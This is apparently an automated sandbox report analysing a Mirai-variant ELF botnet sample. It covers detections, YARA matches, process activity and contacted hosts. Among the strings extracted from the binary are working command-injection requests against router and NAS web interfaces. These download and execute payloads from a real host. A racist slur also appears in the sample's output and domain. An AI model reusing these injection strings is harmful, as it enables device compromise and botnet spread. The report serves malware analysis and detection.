Create Interactive Tour

Linux Analysis Report
jOXiR3R48P.elf

Overview

General Information

Sample Name:	jOXiR3R48P.elf
Analysis ID:	795398
MD5:	22236418d66d092a868814a050662cb6
SHA1:	0bf047cdeb6ce406a32e0c305a2b9089c9e369c3
SHA256:	ebab385a00e909ff7748edeecf15ffceba7748e9b0f9850142fe7ef8d5ed5ffe
Tags:	32elfmipsmirai
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sample deletes itself

Uses known network protocols on non-standard ports

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample contains strings that are potentially command strings

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	795398
Start date and time:	2023-01-31 18:50:17 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	jOXiR3R48P.elf
Detection:	MAL
Classification:	mal80.troj.evad.linELF@0/319@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http://100.139.155.164:88/
VT rate limit hit for: http://102.12.196.154:88/
VT rate limit hit for: http://111.53.254.156:88/
VT rate limit hit for: http://117.14.252.37:88/
VT rate limit hit for: http://118.212.228.91:88/
VT rate limit hit for: http://131.69.18.163:88/
VT rate limit hit for: http://133.9.87.202:88/
VT rate limit hit for: http://150.209.184.203:88/
VT rate limit hit for: http://151.213.171.72:88/
VT rate limit hit for: http://163.4.49.38:88/
VT rate limit hit for: http://197.146.153.59:88/
VT rate limit hit for: http://203.104.254.156:88/
VT rate limit hit for: http://213.139.65.172:88/
VT rate limit hit for: http://218.38.42.103:88/
VT rate limit hit for: http://219.196.233.14:88/
VT rate limit hit for: http://220.36.81.180:88/
VT rate limit hit for: http://221.222.144.112:88/
VT rate limit hit for: http://230.178.255.103:88/
VT rate limit hit for: http://249.236.191.163:88/
VT rate limit hit for: http://251.154.148.146:88/
VT rate limit hit for: http://45.66.230.47/bins/wget.sh$
VT rate limit hit for: http://45.66.230.47/bins/wget.sh;sh$
VT rate limit hit for: http://45.66.230.47/bins/x86
VT rate limit hit for: http://45.66.230.47/wget.sh
VT rate limit hit for: http://65.90.128.57:88/
VT rate limit hit for: http://68.183.17.95/Messiah.mips;
VT rate limit hit for: http://8.223.61.191:88/
VT rate limit hit for: http://87.148.205.77:88/
VT rate limit hit for: http://93.131.164.195:88/
VT rate limit hit for: http://98.76.83.172:88/

Runtime Messages

Command:	/tmp/jOXiR3R48P.elf
PID:	6231
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

jOXiR3R48P.elf (PID: 6231, Parent: 6129, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/jOXiR3R48P.elf

jOXiR3R48P.elf New Fork (PID: 6233, Parent: 6231)

jOXiR3R48P.elf New Fork (PID: 6235, Parent: 6233)

jOXiR3R48P.elf New Fork (PID: 6236, Parent: 6233)

jOXiR3R48P.elf New Fork (PID: 6237, Parent: 6233)

jOXiR3R48P.elf New Fork (PID: 6239, Parent: 6233)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
jOXiR3R48P.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x14c32:$x2: /bin/busybox chmod 777 * /tmp/ 0x14cd4:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
jOXiR3R48P.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6235.1.00007f957c400000.00007f957c418000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x14c32:$x2: /bin/busybox chmod 777 * /tmp/ 0x14cd4:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
6235.1.00007f957c400000.00007f957c418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6231.1.00007f957c400000.00007f957c418000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x14c32:$x2: /bin/busybox chmod 777 * /tmp/ 0x14cd4:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
6231.1.00007f957c400000.00007f957c418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 31 Jan 2023 17:52:48 GMTServer: Apache/2.2.29 (CentOS)Accept-Ranges: bytesContent-Length: 5043Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 48 54 54 50 20 53 65 72 76 65 72 20 54 65 73 74 20 50 61 67 65 20 70 6f 77 65 72 65 64 20 62 79 20 43 65 6e 74 4f 53 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 7d 0a 09 09 09 3a 6c 69 6e 6b 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 46 46 3b 0a 09 09 09 7d 0a 09 09 09 3a 76 69 73 69 74 65 64 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 46 46 3b 0a 09 09 09 7d 0a 09 09 09 61 3a 68 6f 76 65 72 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 33 33 39 39 46 46 3b 0a 09 09 09 7d 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 33 39 39 46 46 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 37 35 65 6d 3b 0a 09 09 09 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0a 09 09 09 7d 0a 09 09 09 68 31 20 73 74 72 6f 6e 67 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 09 09 09 7d 0a 09 09 09 68 32 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 31 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f 6e 74 65 6e 74 20 7b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 31 65 6d 20 35 65 6d 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6c 75 6d 6e 73 20 7b 0a 09 09 09 09 2f 2a 20 53 65 74 74 69 6e 67 20 72 65 6c 6

Source: jOXiR3R48P.elf	String found in binary or memory: http://45.66.230.47/bins/mips;
Source: jOXiR3R48P.elf	String found in binary or memory: http://45.66.230.47/bins/wget.sh$
Source: jOXiR3R48P.elf	String found in binary or memory: http://45.66.230.47/bins/wget.sh;sh$
Source: jOXiR3R48P.elf	String found in binary or memory: http://45.66.230.47/bins/x86
Source: jOXiR3R48P.elf	String found in binary or memory: http://45.66.230.47/wget.sh
Source: jOXiR3R48P.elf	String found in binary or memory: http://68.183.17.95/Messiah.mips;
Source: jOXiR3R48P.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: jOXiR3R48P.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

DNS traffic detected: queries for: dogeatingchink.uno

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 102.12.196.154:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 213.139.65.172:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 97.106.153.41:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 221.222.144.112:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 97.106.153.41:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 97.106.153.41:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 150.209.184.203:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 150.209.184.203:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 97.106.153.41:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 100.139.155.164:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 8.223.61.191:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 8.223.61.191:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 8.223.61.191:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.38.42.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.38.42.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.38.42.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 249.236.191.163:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.38.42.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 220.36.81.180:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.4.49.38:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 249.236.191.163:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.4.49.38:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 249.236.191.163:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.4.49.38:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.4.49.38:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 249.236.191.163:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.38.42.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.4.49.38:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 203.104.254.156:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.4.49.38:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.38.42.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 97.106.153.41:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 11.132.243.104:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 49.105.71.86:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 93.131.164.195:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 49.105.71.86:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 93.131.164.195:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 11.132.243.104:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 49.105.71.86:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 93.131.164.195:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 11.132.243.104:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 49.105.71.86:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 93.131.164.195:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 11.132.243.104:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 168.110.61.191:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 49.105.71.86:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.4.49.38:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 168.110.61.191:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 11.132.243.104:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.47.90.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 118.212.228.91:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 168.110.61.191:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 230.178.255.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 230.178.255.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 49.105.71.86:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 11.132.243.104:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.38.42.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 230.178.255.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 98.76.83.172:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 87.148.205.77:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 87.148.205.77:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 87.148.205.77:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 87.148.205.77:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 151.213.171.72:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 49.105.71.86:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 87.148.205.77:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 230.178.255.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 133.9.87.202:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 11.132.243.104:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 87.148.205.77:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 117.14.252.37:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.4.49.38:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 65.90.128.57:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 65.90.128.57:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 65.90.128.57:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 65.90.128.57:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 65.90.128.57:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 131.69.18.163:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 131.69.18.163:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 219.196.233.14:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 65.90.128.57:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 131.69.18.163:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 87.148.205.77:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 2.221.61.191:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 230.178.255.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 2.221.61.191:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 111.53.254.156:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 49.105.71.86:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 65.90.128.57:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 2.221.61.191:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 251.154.148.146:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.96.190.35:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.146.153.59:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 218.38.42.103:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 11.132.243.104:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.146.153.59:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.146.153.59:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.146.153.59:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 65.90.128.57:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.146.153.59:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 87.148.205.77:88
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.146.153.59:88

System Summary

Malicious sample detected (through community Yara rule)

Source: jOXiR3R48P.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6235.1.00007f957c400000.00007f957c418000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6231.1.00007f957c400000.00007f957c418000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: jOXiR3R48P.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6235.1.00007f957c400000.00007f957c418000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6231.1.00007f957c400000.00007f957c418000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27

Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+arm7;wget+http:/\/45.66.230.47/bins/arm7;chmod+777+arm7;./arm7 selfrep.jaws
Source: Initial sample	Potential command found: GET /adv,/cgi-bin/weblogin.cgi?username=admin%%27%%3Bwget%20http%%3A%%2F%%2F45.66.230.47%%2Fwget.sh%20-O%20-%%20%%7C%%20sh%%20%23+%23&password=asdf HTTP/1.1
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/wget.sh;wget+http://45.66.230.47/wget.sh+-O+/tmp/wget.sh;sh+/tmp/wget.sh&curpath=/&currentsetting.htm=1 HTTP/1.1
Source: Initial sample	Potential command found: GET /backupmgt/localJob.php?session=fail`wget%20-O-%20http%%3A%%2F%%2F45.66.230.47%%2Fwget.sh%%7Csh` HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}wget.sh;wget${IFS}http://45.66.230.47/bins/wget.sh;sh${IFS}/tmp/wget.sh${IFS}selfrep.crossweb&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://45.66.230.47/bins/wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}selfrep.alcatel; HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: action=login&keyPath=%27%0A%09%2Fbin%2Fsh%24%7BIFS%7D-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%24%7BIFS%7D%26%26%24%7BIFS%7Dbusybox%24%7BIFS%7Dwget%24%7BIFS%7Dhttp%3A%2F%2F45.66.230.47%2Fbins%2Farm7%24%7BIFS%7D%26%26%24%7BIFS%7Dchmod%24%7BIFS%7D777%24%7BIFS%7Darm7%24%7BIFS%7D%26%26%24%7BIFS%7D.%2Farm7%24%7BIFS%7Dselfrep.vigor%24%7BIFS%7D%26%26%24%7BIFS%7Drm%24%7BIFS%7D-rf%24%7BIFS%7Darm7%27%0A%09%27&loginPwd=a&loginUser=a
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /bins/mips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: %sServer: DWSaction=login&keyPath=%27%0A%09%2Fbin%2Fsh%24%7BIFS%7D-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%24%7BIFS%7D%26%26%24%7BIFS%7Dbusybox%24%7BIFS%7Dwget%24%7BIFS%7Dhttp%3A%2F%2F45.66.230.47%2Fbins%2Farm7%24%7BIFS%7D%26%26%24%7BIFS%7Dchmod%24%7BIFS%7D777%24%7BIFS%7Darm7%24%7BIFS%7D%26%26%24%7BIFS%7D.%2Farm7%24%7BIFS%7Dselfrep.vigor%24%7BIFS%7D%26%26%24%7BIFS%7Drm%24%7BIFS%7D-rf%24%7BIFS%7Darm7%27%0A%09%27&loginPwd=a&loginUser=aPOST /cgi-bin/mainfunction.cgi HTTP/1.1
Source: Initial sample	String containing 'busybox' found: File not found<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /bins/mips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: classification engine

Classification label: mal80.troj.evad.linELF@0/319@1/0

Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/6236/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/6236/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1582/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/3088/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/230/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/110/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/231/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/111/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/232/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1579/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/112/fd	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/jOXiR3R48P.elf (PID: 6235)	File opened: /proc/233/fd	Jump to behavior
